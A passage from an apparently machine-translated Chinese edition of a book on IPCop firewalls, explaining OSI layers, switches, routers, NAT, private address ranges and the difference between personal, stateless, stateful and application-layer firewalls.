模型中的上三层不再关注(内部)网络问题,而是更多地关注使用连接的软件和应用的实用性。 会话层是建立会话的机制所在,例如**NetBIOS**协议。 - -## 第六层:表示层 - -表示层处理特定于数据的问题,如编码、压缩和加密。 **SNMP**和**XML**是经常使用的标准,它们存在于这一层。 - -## 第 7 层:应用层 - -应用层是用于通信的常用协议所在的层,例如**HTTP、FTP**和**SMTP**。 - -通常,第三层和第四层是防火墙最常处理的两层,数量较少(但不断增加),通常称为“代理防火墙”或“应用层防火墙”,位于这两层之上(并且知道 HTTP、DNS、RCP 和 NetBIOS 等协议)。 值得注意的是,许多防火墙(错误地)将第三层以上的所有层分类为*应用层*。 - -就我们的目的而言,完全了解(和解释)OSI 层以及联网的一些更概念性和技术性方面是不必要的-尽管我们已尝试提供这些方面的一些概述,但这更多是为了让您熟悉,以便让您对将来可能想要学习的内容有所了解。 - -就我们的目的而言,有分层存在的知识就足够了。 如果您觉得有必要(或倾向于)更多地了解这些主题,本章中给出的一些 URL 可以作为很好的起点。 您不必了解、同意或喜欢 OSI 层才能使用防火墙(事实上,许多 TCP/IP 堆栈并不严格遵守基于它们的流量分段处理),但是了解它们的存在并大致了解它们的设计目的以及围绕它们构建的技术如何交互对于认真了解防火墙或网络的任何人或经常使用这些技术的任何人来说都很重要。 - -在许多情况下,Wikipedia([http://www.wikipedia.org](http://www.wikipedia.org))是技术概念的一个很好的起点参考,而 Wikipedia 的受众(表面上精通 IT)在提供全面的主题覆盖方面确实大放异彩! 维基百科的 OSI 层页面被很好地引用,并且有技术上准确的内容。 这可以在[http://en.wikipedia.org/wiki/OSI_seven-layer_model](http://en.wikipedia.org/wiki/OSI_seven-layer_model)找到。 - -关于 tcp/IP 的所有信息的另一个优秀的在线资源是[http://tcpipguide.com/](http://tcpipguide.com/)。 - -本章前面提到的 IBM“TCP/IP 教程和技术概述”,作者是 Martin W.Murhamm、Orcun Atakan、Stefan Bretz、Larry R.Pugh、Kazunari Suzuki 和 David H.Wood,是 TCP/IP 网络世界的另一个很好的(免费的)指南。 虽然稍微过时了(上一次迭代是在 1998 年 10 月发布的),但围绕 TCP/IP 的许多标准在过去 20 多年中没有变化,因此日期不会让您有太大的迟疑。 本指南以及与开放标准和 ibm 产品相关的许多其他内容可以在优秀的“ibm 红皮书”站点[http://www.redbooks.ibm.com/](http://www.redbooks.ibm.com/)上找到。 - -对于已出版的 TCP/IP 简介,理查德·W·史蒂文斯(Richard W.Stevens)的三本“TCP/IP 插图”(TCP/IP Illustrated)书籍通常被认为是该主题的权威来源。 成套图书的国际标准书号是 0-201-77631-6,在任何一家好的大型书店或在线图书零售商都可以找到。 - -# 网络是如何构建的 - -不管你知不知道,你使用的任何网络都有可能是建立在 IP(互联网协议)之上的。 IP 及其之上的协议(如 TCP、UDP 和 ICMP,所有这些协议都使用 IP 数据报)是目前部署的几乎所有网络的基础。 构建这种网络的组件是可互操作的,因此它们的角色被很好地定义和理解。 我们将简要讨论这些设备,特别是它们如何与防火墙互连。 - -以太网作为底层技术构成了这些设备的基础,大多数这些协议通常都是在以太网之上分层的。 因此,网络设备、外围设备和设备通常被称为**LAN**、以太网或 TCP/IP 设备(或者更常见地,简称为“**网络**”设备)。 还有其他正在使用的网络标准,其中两个是**令牌环**和**SNA**网络,它们都有相当特定的用途。 许多这些标准,包括上面提到的两个标准,通常都被认为是过时的。 通常情况是,在由于遗留原因仍在部署这些网络的情况下,此类网络被标记为需要更换或实际上已冻结更改。 - -令人感兴趣的是,令牌环和 SNA 通常部署在较大的组织中,后者几乎是单方面地与 IBM zSeries 等大型机通信。 其他专门的 IT 环境(如群集)有特定的网络要求,这也将他们吸引到其他形式的网络。 - -但是,这里我们将考虑以下(以太网/IP)网络设备: - -* 服务器和客户端(微型计算机) - -* 交换机和集线器 - -* 路由器 - -* 组合设备 - -## 服务器和客户端 - -服务器/客户端关系是 TCP/IP 协议的基石,为了能够有效地管理、实施和考虑它,有必要对其有一些了解。 简而言之,客户端是发起连接(即开始发送数据)到另一台计算机的任何设备,而服务器是监听这样的连接以便允许其他人连接到它的任何设备。 - -在 TCP/IP 环境中,网络上的所有设备都是服务器和客户端,无论它们是专门指定为服务器(如公司邮件服务器)还是客户端(如台式计算机)。 这有两个原因:首先,许多更高级的协议发起从服务器本身返回到客户端的连接;其次,TCP/IP 连接实际上涉及将数据发送到两个连接中的侦听端口-最初是从客户端发送到服务器以开始事务,(通常)连接到服务器上的已知端口以便访问特定服务(例如 HTTP 的端口 80、SMTP 的端口 25 或 FTP 的端口 21),其流量(通常)来自客户端上的随机临时(即大于 1024)端口。 - -一旦数据到达,服务器就会将数据发送到客户端(在这个连接中,服务器就是客户端!)。 从服务端口到客户端上用作初始连接源端口的(随机)端口。 使用从服务器上的服务端口到客户端的流量,以便服务器回复客户端。 数据从客户端到服务器和服务器到客户端的双向流动构成了一个“完整的”TCP/IP 连接。 稍后我们讨论流量过滤时,这一特殊区别变得很重要。 - -在网络环境中,服务器是向该网络上的主机提供固定服务的设备。 通常,这涉及到某种形式的集中化资源;尽管“防火墙”可能被描述为服务器,但它不一定要接受到自己的连接(而是促进到其他位置和/或服务器的连接)。 - -服务器可以提供文件、电子邮件或网页,通过 DHCP 提供网络配置信息,提供域名、主机名和充当 DNS 服务器的 IP 地址之间的转换,甚至提供其他更复杂的服务,这些服务有助于单点登录或提供安全服务(如 Kerberos 服务器、RADIUS 服务器、入侵检测系统等)。 在本书中,我们通常将服务器视为向网络上的其他计算机和设备提供服务和数据的*设备。* - -客户端通常由用户直接使用,将位于桌面上,并插入显示器和输入设备,或者是笔记本电脑(服务器通常要么共享这样的外围设备,要么根本没有这些外围设备)。 它们直接用于访问有时存储在别处(如来自文件服务器的网页或文件)或本地(如存储在本地 `My Documents`文件夹上的文档)的资源和信息。 出于本书的目的,我们通常将客户端视为用户用于访问网络或 Internet 上的其他计算机上的服务(以及存储在这些计算机上的数据)的*设备*。 - -### 备注 - -有关客户端/服务器关系的详细信息,请参阅[http://en.wikipedia.org/wiki/Client-server](http://en.wikipedia.org/wiki/Client-server)。 - -## 交换机和集线器 - -集线器是一种网络设备,它允许多个客户端插入网段,在该网段内它们可以相互通信。 集线器在逻辑上非常简单,基本上充当连接到该设备的所有设备的逻辑连接器,允许流量从一个端口自由流动到另一个端口,这样在四端口设备中,如果连接到端口 1 的客户端向连接到端口 4 的客户端发送数据,则集线器(不知道“客户端”的概念)只是允许该流量流向该设备上的所有端口-客户端 2 和 3 忽略不是发往它们的流量。 - -![Switches and Hubs](img/1361_01_03.jpg) - -交换机解决了集线器的几个缺点,通常优先于集线器进行部署。 此外,越来越多的中心正在成为前一个时代的遗迹,在零售店和网上购买变得非常困难。 - -![Switches and Hubs](img/1361_01_04.jpg) - -交换机的工作方式是在内存中保存一个表,将端口与 MAC 地址相关联,这样交换机就可以知道哪些计算机插入了哪个端口。 虽然在非托管或非堆叠交换机通过交叉布线简单地相互连接的网络中,给定的交换机只会在特定端口上看到大量 MAC 地址,但某些交换机(可以进行堆叠)会将这一点应用于整个网段,但在该网络中,非托管或未堆叠的交换机只是通过交叉布线相互连接。 - -因为本地网段上的流量(甚至是通过该网段路由并发往另一个网络的流量)是从一台主机到另一台主机(路由器到路由器、路由器到客户端、客户端到服务器等)传递的。 交换机可以直接根据 MAC 地址根据其拥有的端口来决定特定数据报要发往哪个端口。 由于需要处理,交换机历来比集线器更贵,因为执行这种处理所需的电子设备比集线器内部的“愚蠢”组件成本更高。 - -就其优势而言,交换机速度更快,因为任何两个端口都可以使用大量带宽,而不会影响设备上其他端口可用的带宽。 在非交换网络中,如果客户端 1 和 4 以 90%的可用带宽生成流量,则网络的其余部分只有 10%的带宽可用(实际上,在处理 IP 带来的开销时更少)。 在交换网络上,每个端口在逻辑上都有显著增加的带宽限制,通常最高可达交换机硬件的限制。 - -值得注意的是,许多交换机对通过所有端口的流量都有总体带宽限制,并且大多数中高端交换机都有一个“上行链路”端口,除了提供 MDI-X 功能(能够检测是否需要交叉链路,如果需要,则在交换机中执行必要的修改,以便普通的“补丁”电缆可以用于交换机到交换机的连接)之外,它还是一个更高带宽的端口(100 兆交换机上的千兆位),或者是一个支持模块化上行链路的 GBIC 接口 - -交换机本身也稍微安全一些,因为任何设备都更难任意侦听可能包含私有数据或验证信息(如密码)的网络流量。 交换机了解哪些客户端插入了交换机上的哪个插座,并且在正常情况下会将数据从一个端口移动到另一个端口,而不会将不相关的流量传递到不充当目的地的计算机。 - -然而,这不是绝对的安全措施,可以使用称为 arp 欺骗或 arp 中毒([http://www.node99.org/projects/arpspoof/](http://www.node99.org/projects/arpspoof/))的技术来规避。 **ARP 欺骗**是一种非常著名的技术,有几个工具可用于多个平台,以便允许人们执行该技术。 在本地网段上,ARP 欺骗允许任何对 PC 具有管理员或系统级访问权限的用户(管理员凭据、要插入笔记本电脑的备用网络插座,或仅配置为从 CD 或软盘启动的计算机)拦截同一网段上其他计算机发送的任何和所有流量,并将其透明地重定向到 Internet(或另一个目的地),而不会对用户造成任何明显的中断。 一旦该第二层协议被攻破,每隔一层的所有其他协议(除了涉及难以攻击的握手或使用证书的强加密协议之外)也必须被认为是被攻破的。 - -现代交换机通常具有多种形式的高级功能。 传统交换机虽然比集线器更智能,但它们被描述为“非托管”交换机(按照上面描述的形式)。 较新的“托管”交换机(通常具有更大的微处理器、更大的内存和更高的吞吐量(在给定时间范围内可以通过网络传输的数据量))提供了更多的功能。 例如,能够提供额外的安全功能,如 MAC 地址过滤、DHCP 监听和监控端口。 其他这样的新功能可能涉及安全性和网络结构,例如 VLAN。 如前所述,一些“受管”交换机提供堆叠功能,通过使用专有链路电缆(例如 3Com 超级堆叠交换机的“Matrix”电缆)或交换机上行链路端口之间的普通接插/交叉电缆,可以将交换机的“堆叠”作为一个整体进行管理,从而有效地共享配置和管理界面。 - -一些非常高端的交换机,如 Cisco 6500 系列和 3Com Corebuilder 交换机也有“路由引擎”,使它们能够实现路由器的某些功能。 当我们将 OSI 层应用于“现实生活”时,这再次导致 OSI 层之间的“模糊”。 - -交换机的范围从通常与其他网络设备集成并作为消费类设备(如 Linksys WRT54G)销售的小型四端口设备,到专为数据中心设计的大型高可用性设备,这些设备支持数百个并发客户端并具有极高的吞吐量。 - -在本书的上下文中,我们将在相当简单的上下文中考虑交换机,而忽略 VLAN 和路由引擎等功能,这些功能超出了我们在讨论 IPCop 时可以合理处理的范围(这样的讨论更适合于一本关于网络的书)。 出于本书的目的,虽然交换机知识很有用,但只要了解交换机是*设备就足够了,这些设备允许插入网络套接字的所有客户端与交换机上的所有其他主机通信,从而为多台主机提供彼此之间、网络和存储在服务器*上的共享资源的连接。 - -## 路由器 - -如果一系列交换机和集线器将我们的客户端设备连接在一起以形成网络,那么非常简单地说,路由器就是将这些网络连接在一起的设备(换句话说,路由器是互联网络的基础)。 小型路由器(例如 1700 系列 Cisco 路由器)可以通过 ISDN 或宽带链路将分支机构链接到总部,而在规模的另一端,来自 Cisco、Juniper 或 Nortel(或基于 Windows 2003 或 Linux 等操作系统)的昂贵高端路由器可能有几条网络链路,负责将较小的 ISP 与几个较大的 ISP 连接到 Internet 主干。 在规模的高端,专用设备虽然基于类似于 PC 的架构,但可以处理比运行 Windows 或 Linux 等操作系统的“普通”计算机多得多的流量,因此,这些“主干”路由器很少不是专用设备。 - -在 TCP/IP 网络中,同一“子网”(即插入同一集线器/交换机或一系列集线器/交换机)上的计算机将直接相互通信,使用 ARP(地址解析协议)找出目的计算机的硬件(或 MAC)地址(正如我们在讨论 OSI 层时提到的,ARP 主要用于在第 2 层和第 3 层之间切换),然后将数据直接发送到本地网段上的此 MAC 地址。 正因为如此,“子网掩码”很重要;它允许设备计算哪些网络地址是“本地”的,哪些不是“本地”的。 如果我们的网络使用(私有)地址范围 192.168.0.1,并且我们的子网掩码为 255.255.255.0(或一个 C 类网络或 a/24 CIDR 地址空间),则任何不以 192.168.0 开头的网络地址。 将被视为远程地址,并且该设备不会尝试直接(通过第二层)连接到该地址,而是会查询“路由表”,以确定应该使用哪个“路由器”(通过第三层)作为另一个网络的中介来发送数据。 - -小型网络(或结构良好的大型网络)上的客户端的一个相当典型的配置是,只有一台路由器--“默认”路由器--流量通过它。 使用前面的示例,如果我们的设备尝试连接到网络地址为 192.0.2.17 的另一台设备,操作系统(根据网络适配器的网络地址和子网发现这不是本地设备)会将此目的地的数据发送到“默认网关”,然后该网关将流量“路由”到正确的目的地。 虽然可以将客户端配置为对不同的网段使用不同的路由器,但这是一个更高级且不太常见的配置选项。 - -例如,如果网络使用快速网络连接(例如 ADSL 路由器)作为默认网关(用于 Internet 访问),而使用速度较慢的网络连接(使用单独的路由器访问内部网络的另一个子网)(例如,具有多个站点的公司的分支机构),则可能需要为客户端配置多条路由。 在较小的公司中,更可取的方案是通过一台同时处理两者的路由器提供内部和互联网连接,从而使客户端配置和管理变得更简单(所有流量都通过默认网关,而不是每个客户端上的静态路由表指向不同的路由器),但这可能并不总是可行或可取的。 - -![Routers](img/1361_01_05.jpg) - -在上图中,我们考虑一家拥有总部大楼的公司。 **总部**LAN 基础设施(此处由左下角的柱廊建筑表示)包含内部访问的服务器,如文件、邮件、打印和目录服务器,以及客户端。 位于此网络与 Internet 和不可信网段(DMZ)(其中包含可从外部访问的公司 Web/邮件系统、托管公司网站并接受传入电子邮件)之间的是防火墙。 - -除了位于防火墙后面的总部的客户外,我们还有与总部位于同一城镇的**二级办公室**-在总部扩展空间不足时开业。 该办公室的服务器和客户端系统都位于与**总部**相同的逻辑网络基础设施上,但在其自己的(路由)子网中,通过大楼到大楼的无线链路(可能通过微波或激光链路工作)连接到总部网络。 - -**分支机构**(可能针对我们虚拟业务客户密度较高的国家另一个地区的销售人员)也使用**总部**网络上的资源。 由于距离较远,该办公室也有自己的服务器(很可能是内容和信息同步到**总部**中相应系统的文件、打印和电子邮件系统)。 在自己的子网中,该网络通过 VPN 链接,由于租用线路或类似连接的高昂成本,从**辅助办公室**网段到**总部**网段的路由通过 Internet 和防火墙进行隧道传输。 - -由于网络/邮件服务可用于互联网,我们的**总部**有多个互联网连接以实现冗余。 在这样的场景中,通常会有更多的路由器同时用于**总部**基础设施(可能相当大)和 Internet 服务提供(并且**总部**防火墙本身很可能是另一台路由器,或者伴随着另一台路由器)。 为了简单起见,这些都被省略了! - -出于我们的目的,我们将路由器视为通过广域网或网际网络将数据包转发到其正确目的地的*设备。* - -## 路由器、防火墙和 NAT - -尽管很容易用这样简单的术语谈论网络-基于层的独立网络,以及作为独立的、定义明确的项目的网络设备,但情况往往并非如此。 由于许多原因(包括网络拓扑和有限的资源),角色经常组合在一起,特别是在较小的网络中。 通常,第一个组合的角色是“防火墙”和“路由器”。 - -由于网络经常通过路由器连接在一起,因此这个自然的阻塞点似乎也是防火墙的便捷之处。 这本身就是很好的网络理论,但通常是通过向现有路由器添加防火墙功能或规则集来实现的,而无需对网络进行任何更改。 虽然这在小型网络中有一定的意义,但它可能会导致处理负载的问题,并增加设备(路由器)的复杂性,该设备应尽可能保持简单。 通常,尽可能通过使用单独的路由器、防火墙、代理服务器等来拆分角色是个好主意。 - -这也适用于服务器上的其他基础架构角色-DNS 服务器、Kerberos 域控制器、DHCP 服务器、Web 服务器等,出于性能、可靠性和安全性的考虑,应尽可能分开。 - -不幸的是,正如我们已经提到的,这并不总是可能的,而且有几个经常组合在一起的网络角色,例如防火墙和路由器。 特别是在不是每个网络设备都有自己的可路由 IP 地址的组织中(实际上是每个 SME(中小型企业)),都需要网络地址转换。 NAT 是这样一个过程:(为了缓解 Internet 上可用 IP 地址日益短缺的问题),本地网络将不使用在 Internet 上工作(可“路由”)的 IP 地址。 - -### 网络地址转换 - -网络地址转换是 Internet 及其构建协议设计方式的另一个结果。 就像 DNS、SMTP 和 TCP/IP 之类的协议是在一个安全性经常是事后才想到的环境中设计的,互联网的发展程度(将来会是什么)也是在这个环境中设计的。 我们应该熟悉的 IPv4 编址方案使用四个二进制八位数,每个二进制八位数的范围从 0 到 255,假设最多有 40 亿个地址(准确地说是 255^4)。 - -鉴于互联网连接的广泛普及和大量使用 IP 地址的个人计算机、移动电话、PDA 和其他设备(其中路由器、非移动 IP 电话,甚至冰箱和微波炉等家用电器只是其中的一小部分),这个地址空间虽然最初可能被认为是巨大的,但正开始耗尽。 因此,由于 IPv6 的部署时间较长(除了对 IPv4 的许多其他功能改进包括更大的地址空间之外),需要一种临时方法来降低 IP 地址的使用率-这就是 NAT。 - -作为 NAT 在实践中如何使用的示例,请考虑以下假设场景: - -![Network Address Translation](img/1361_01_06.jpg) - -请看上图--一个虚构的 ISP 和它的四个客户。 ISP 为每个客户分配一个 IP 地址,分配给直接连接到 ISP 提供的连接的计算机或设备。 - -客户 A 是一家中等规模的律师事务所-客户 A 的内网网段中有一个基于 IPCop 的防火墙、几个服务器和几个客户端。 它的内部客户端使用 10.0.1.0/24(C 类)子网,但其外部 IP 实际上被数十台计算机使用。 - -客户 B 是家庭用户-客户 B 只有一台直接连接到 ISP 互联网连接的计算机,即笔记本电脑。 客户 B 的外部 IP 由一台计算机使用,没有 NAT,也没有内网。 - -客户 C 是一家规模更大的制造公司-客户 C 的互联网连接有一个高端防火墙,其内部网络中有大量不同的设备。 客户 C 将 172.16.5.0/24 子网用于其防火墙正后方的网段,其内部网络中有电话系统、客户端、服务器系统和中端大型机系统。 - -客户 D 的家中有几台供家庭成员使用的计算机和一台平板电脑-他们有几个客户端连接到本地电脑商店购买的一体式交换机/路由器/防火墙设备(可能是前面提到的 Linksys WAP54G)提供的无线网络。 - -仅仅四个 IP 地址实际上就代表了互联网上的数百个客户端-通过巧妙地使用技术,客户端使用互联网服务提供商提供对互联网的访问,通过不为每台主机分配 IP 地址来减少 IP 浪费。 - -如果您的计算机作为主机存在于默认网关正在执行网络地址转换的网络上,并且您访问了网站,则您的计算机将启动到您要连接的 Web 服务器上的端口 80 的连接,您的计算机将从其拥有的 IP 地址(在 NAT 情况下,是类似 192.168.1.23 的私有地址)向目的地发送数据包。 对于互联网上的网站,目的地将是可在互联网上路由的 IP 地址,例如 72.14.207.99(谷歌的 IP 地址之一)。 - -如果您的网关只是简单地将此数据包转发到 Google,则一开始就不太可能到达那里,因为您的计算机和 Google 之间的路由器几乎肯定会被配置为“丢弃”来自 192.168.0.0/16 地址范围等地址的数据包,这些地址对互联网通信无效。 因此,您的路由器*会在转发数据包之前重写*数据包,并将 192.168.1.23 替换为您的 ISP 临时提供给您的路由器的外部地址。 - -当从另一端的主机返回回复时,路由器在记下转换过程后,会查询内存中的表,根据连接的序列号确定 192.168.1.23 是始发主机,然后再次重写数据包。 实际上,您的客户端正在伪装成连接到 Internet 的设备(或者伪装成它们),实际上,“伪装”是 Linux 的 iptables/netfilter 防火墙组件中 NAT 的技术术语。 虽然 NAT 过程破坏了一些更复杂的协议,但它是在一个互联网可路由(公共)IP 地址后面让成百上千台设备在线的一种极其有效的方式。 - -对于客户端,设置看起来好像他们的地址范围是作为 Internet 的正常路由网段存在的,而实际上,“默认网关”正在执行网络地址转换。 以这种方式,以牺牲一些便利性为代价,缓解了世界范围内的 IP 地址短缺问题。 尤其是小型和家庭办公设备,例如 D-Link、Linksys 等公司销售的任何设备,几乎总是使用网络地址转换为其客户端提供连接,IPCop 也使用它。 - -### 备注 - -**专用地址范围** - -这些“私有”IP 地址范围在 RFC1918([http://www.rfc-archive.org/getrfc.php?rfc=1918](http://www.rfc-archive.org/getrfc.php?rfc=1918))中列出。 RFC,或评论请求,虽然不是技术标准,但它是“始于 1969 年的关于因特网(最初是 ARPANET)的技术*和组织说明。RFC 系列中的备忘录讨论了计算机网络的许多方面,包括协议、程序、程序和概念,以及会议记录、意见,有时还包括幽默。”*([http://www.rfc-editor.org/](http://www.rfc-editor.org/),2005 年 11 月 20 日,头版)。[RFC(](http://www.rfc-editor.org/)[RFC](http://www.rfc-editor.org/),头版,2005 年 11 月 20 日)。 对于协议、标准和约定,它们是很好的第一行参考,尽管(通常取决于作者和目标受众)它们通常是相当技术性的。 - -私有 IP 范围中最容易识别的可能是 192.168.0.0/16 范围,它构成 255 个 C 类‘子网’,其中最常用的两个是 192.168.0.1/24 和 192.168.1.1/24 子网。 此地址范围经常用作**Small Office Home Office**(**SOHO**)路由器的默认私有地址范围。 出于这些目的,还有另外两个私有地址范围,即 10.0.0.0/8 和 172.16.0.0/12 范围。 - -### 组合角色设备 - -因此,由于 NAT,位于小型办公室家庭办公网络边界的设备几乎总是*组合角色*,虽然通常以*路由器/防火墙*或简单的*路由器*形式销售,但通常执行以下所有角色: - -* 路由器(执行网络地址转换) - -* 防火墙 - -* DHCP 服务器 - -* 缓存/解析 DNS 服务器 - -某些此类设备(包括 IPCop)还可能提供以下部分功能,其中大多数通常在企业产品中较为常见: - -* 代理服务器 - -* 内容过滤 - -* 文件服务器文件服务器 - -* 入侵检测 - -* VPN/IPSec 服务器 - -由于其中一些任务的复杂性,通常情况下,“嵌入式”组合设备很难配置,并且一些更复杂的功能(如 IPSec 和文件服务)与其他设备(如另一供应商的 IPSec/VPN 设备)的互操作可能非常困难。 虽然这些设备的价格和大小使其成为小型网络的一个非常有吸引力的前景,但需要一些更高级功能的网络应该非常仔细地研究它们,并评估它们在经济和技术上是否能满足其需求。 - -当需要组合角色时,需要更大、设计更全面的解决方案(例如来自边界软件、Checkpoint、思科等的防火墙设备)。 或者,商业软件(如微软的 ISA 服务器)通常比它们更小、更便宜的 SOHO 同类软件更有效地完成这项工作,并且以更可配置和可互操作的方式完成这项工作。 显然,我们相信 IPCop 不仅比嵌入式设备更好地完成其预定任务,而且比某些商业防火墙和网关软件包做得更好! - -# 流量过滤 - -了解了防火墙的用途以及为什么它们的功能对我们很重要,现在有必要简要地探讨一下防火墙是如何实现我们为它们指定的广泛目的的。 - -## 个人防火墙 - -在过去的五年里,个人防火墙变得越来越普遍。 随着 Windows XP Service Pack 2 中包含个人防火墙技术(以及即将推出的 Windows Vista 中的增强技术),以及 OSX 和 Linux 操作系统中的防火墙堆栈,现在工作站和台式机运行防火墙软件已相当正常。 - -通常,这有两种形式:一种是内置到操作系统中的防火墙软件(如 OSX、Linux 和 XP 的 Windows 防火墙),另一种是编写此类软件的软件供应商提供的众多第三方防火墙之一。 Agnitum 的前哨包和 ZoneLabs ZoneAlarm 包是两个比较受欢迎的包。 - -个人防火墙软件不能是真正的防火墙。 正如我们前面讨论的,防火墙是防火墙一侧和另一侧之间的安全边界。 根据定义,个人防火墙必须将数据接受到计算机上,然后才能决定是否允许其存在。 许多形式的利用漏洞攻击涉及在解析和评估恶意构建的数据时曲解该数据。 由于防火墙在其应该保护的主机上执行这些任务,因此它无法有效地将执行保护的软件部分与正在保护的软件部分隔离开来。 即使对于较小的网络,个人防火墙也无法提供网络防火墙提供的隔离程度。 - -尽管个人防火墙软件对入站(入站)流量相对有效,但此类软件不能提供针对未经授权的出站(或出站)流量的保护,因为在工作站上生成此类流量的应用通常可以在一定程度上访问防火墙的内部结构。 如果登录的用户是工作站的管理员(或者如果操作系统中存在允许非管理应用获得系统或管理权限的安全缺陷),则很有可能使用操作系统([http://www.vigilantminds.com/files/defeating_windows_personal_firewalls.pdf](http://www.vigilantminds.com/files/defeating_windows_personal_firewalls.pdf))以与客户端本身不同的防火墙无法实现的方式绕过软件/个人防火墙。 - -许多个人防火墙包(如 ZoneAlarm)超越了数据包过滤防火墙单独提供的服务,并充当基于主机的入侵检测系统(HIDS)或基于主机的入侵防御系统(HIPS)。 这些系统主动监控,如果是 HIPS,则防止对操作系统及其组件进行更改。 由于显而易见的原因,网络防火墙(如 IPCop)无法提供此类功能,但 HIPS 和 Personal Firewall 同样受到批评-最终,如果运行 HIPS 的主机受到威胁,入侵防御系统的准确性也会受到影响。 - -安全方面的最新发展包括 Rootkit 软件,它能够使用虚拟化软件(如 VMware)和基于硬件的虚拟化支持(如 AMD 和英特尔最新处理器)提供进入主机操作系统的“后门”。 这类软件就像 VMware 和 Virtual PC 本身一样,实际上充当了在其内部运行的操作系统的容器(或管理程序),其结果是这样的后门实际上存在于安装它们的操作系统之外。 根据公开展示的这些概念,基于主机的防火墙和 IPS 软件的作用加倍--是安全解决方案的一部分,而不是“杀手级应用”。 从根本上说,我们可以肯定的是,不同的软件包有不同的优势,我们永远不应该特别依赖其中一个。 - -尽管个人防火墙是整体安全立场的重要组成部分,但并非所有防火墙都是平等的,作为网络整体安全策略的一部分,个人防火墙永远不应被视为设计良好、维护良好的周边和网段防火墙的替代品。 - -## 无状态包过滤 - -“数据包过滤”是一个术语,通常用于描述在网络层运行的防火墙,它根据数据包的标准决定数据应该发送到哪里。 通常,这将包括源端口和目标端口以及源地址和目标地址-例如,组织可能允许从业务合作伙伴的 IP 地址范围连接到其远程访问服务器,但一般不允许从 Internet 连接到远程访问服务器。 其他标准可能包括一天中进行连接的时间。 - -尽管“无状态”数据包筛选器快速且历史有效,但它只在网络层运行,根本不检查通过它们传输的数据-配置为允许从 Internet 到组织 DMZ 中的端口 80 的流量的无状态数据包过滤器将允许此类流量,而不管发往端口 80 的数据是什么,更重要的是,该数据是否实际上是已建立连接的一部分。 - -## 状态包过滤 - -有状态的数据包过滤器了解通过它进行的 TCP 连接的状态。 在建立 TCP 连接时,源主机和目标主机之间会发生一个非常特定的过程,称为“三次握手”。 - -这是对状态防火墙的非常基本、简单的解释--如果本文涵盖状态防火墙的整个主题(还有其他资源,如[http://en.wikipedia.org/wiki/Stateful_inspection](http://en.wikipedia.org/wiki/Stateful_inspection)涵盖此内容),则超出了范围,但对该主题的基本解释是有用的: - -首先,连接中的客户端向目的地发出 TCP SYN 数据包。 对于防火墙来说,这被认为是一个“新”连接,此时防火墙将分配内存来跟踪连接的状态。 - -其次,服务器(如果连接按预期进行)通过发回带有正确序列号、源端口和目的端口的数据包(同时设置了 SYN 和 ACK 标志)进行回复。 - -第三,客户端在接收到 SYN ACK 分组时,返回仅设置了 ACK 分组的第三分组。 通常,此数据包还将包含与其中的连接相关的一些前几位数据。 此时,防火墙认为该连接已“建立”,并将允许与该连接关联的数据(即,进出源/目的地址、进出正确端口、具有正确序列号的数据)自由地通过该防火墙。在这一点上,防火墙将认为该连接已“建立”,并将允许与该连接相关联的数据(即进出源/目的地址、具有正确序列号的正确端口的数据)自由通过防火墙。 - -如果此操作未完成,防火墙将在特定时间段之后或在用于记忆此类连接的可用内存耗尽时忘记连接的详细信息,具体取决于防火墙的工作方式。 这种对内存的额外使用使得“有状态”数据包检测更加占用处理器和内存,尽管由于它只检查数据的报头,它仍然不像防火墙那样占用大量处理器或内存,防火墙会一直检查数据直到应用层,因此也会解包通过它的数据包的有效负载。 - -然而,状态防火墙的主要优势来自于它对“已建立”连接的理解。 在具有多个客户端的网络中,如果这些客户端具有允许这些客户端连接到端口 80 上的外部站点的无状态防火墙,则任何目的端口为 80 的流量都将被允许出网络,但更重要的是,Internet 上的任何主机都将能够完全绕过防火墙,只需从源端口 80 发送其流量即可连接到内部客户端。 因为来自 Web 服务器的响应将来自端口 80,而没有防火墙检查来自网络外部的来自端口 80 的连接是否是对内部客户端的响应(即没有状态操作),所以无法阻止这种情况。 - -然而,状态防火墙只允许数据在属于“已建立”连接的情况下通过防火墙。 由于在三次握手之前发送的数据包不应允许有效负载通过,因此这将最大限度地减少攻击者在未以防火墙允许的方式完全连接到目标系统的情况下实际可能对目标系统执行的操作。 - -## 应用层防火墙 - -尽管有状态数据包防火墙可以非常有效地限制流量在网络上的去向,但它无法控制流量的确切内容。 数据包内部的实际数据存在于比数据包防火墙更高的级别,后者作为网络层设备不知道应用层。 - -例如,假设有一个简单的办公网络,其网关允许出站连接到端口 80(HTTP),以允许网络上的客户端浏览 Internet。 网络管理员拒绝连接到所有其他端口(如 443 和 25),因为公司政策规定员工不能访问外部邮件(通过 25)或需要 HTTPS 登录的站点(因为其中许多站点是 eBay 和 Webmail 站点,公司不希望其员工访问这些站点)。 它使用状态防火墙来阻止源端口为 80 的流量进入其网络,这可能被用来攻击、探测或扫描其网络上的客户端。 - -但是,此防火墙不会阻止工作人员访问端口 80 上的其他资源-例如,其中一名工作人员可能设置了一个侦听端口 80 的邮件服务器,并使用该服务器读取他或她的邮件。 另一种可能是让 SSH 服务或 VPN 服务器在公司外或家中的服务器上运行,监听端口 80,并使用此连接通过隧道传输其他通信量,以便连接到服务(如邮件、IRC 等)。 但 IT 政策对此予以否认。 - -除非管理员有了解应用层的防火墙,否则很难防止这种情况发生,因为只有这样,他或她才能专门根据流量的类型来限制流量。 这样的防火墙通常被称为“代理防火墙”,因为它们的工作方式通常是通过代理流量-代表客户端接受连接,将其解包并检查数据,然后在防火墙设置的任何访问控制允许的情况下将其转发到目的地。 与状态防火墙一样,应用层防火墙或代理服务器可以根据目的地、时间、内容(在本例中)和许多其他因素来限制流量。 IPCop 附带的开源代理服务器 Squid 在这方面非常强大,能够实施强大的访问控制,特别是与 SquidGuard 附加组件结合使用时。 - -有争议的是,Web 代理服务器是一种经常部署的应用层防火墙-尽管通常不会这样考虑,但许多代理服务器具有与成熟的应用层防火墙类似的功能,并且通过阻止到端口 80 的正常连接并通过代理服务器强制连接到 Internet,组织可以确保向端口 80 发出的请求是 HTTP,并且不允许通过该端口使用其他协议。 不幸的是,许多协议(如端口 443 上的 SSL)由于使用了加密技术而很难代理,因此这些端口经常没有保护,因此很容易被恶意入侵者(或错误的员工)用于邪恶的目的。 - -将边境控制视为一堂实物课-我们通过使用护照来验证某人是否有权往返于来源和目的地国家/地区来限制跨境旅行-这类似于无状态数据包过滤,因为护照本质上类似于数据包头;它们包含有关持有者(或有效载荷)的信息。 然后,我们使用签证来核实某人在旅行期间的*状态*-也就是说,他们是否处于合法居留期满的状态,是否没有合法理由进入该国(即使根据法律他们可能有权入境),等等。 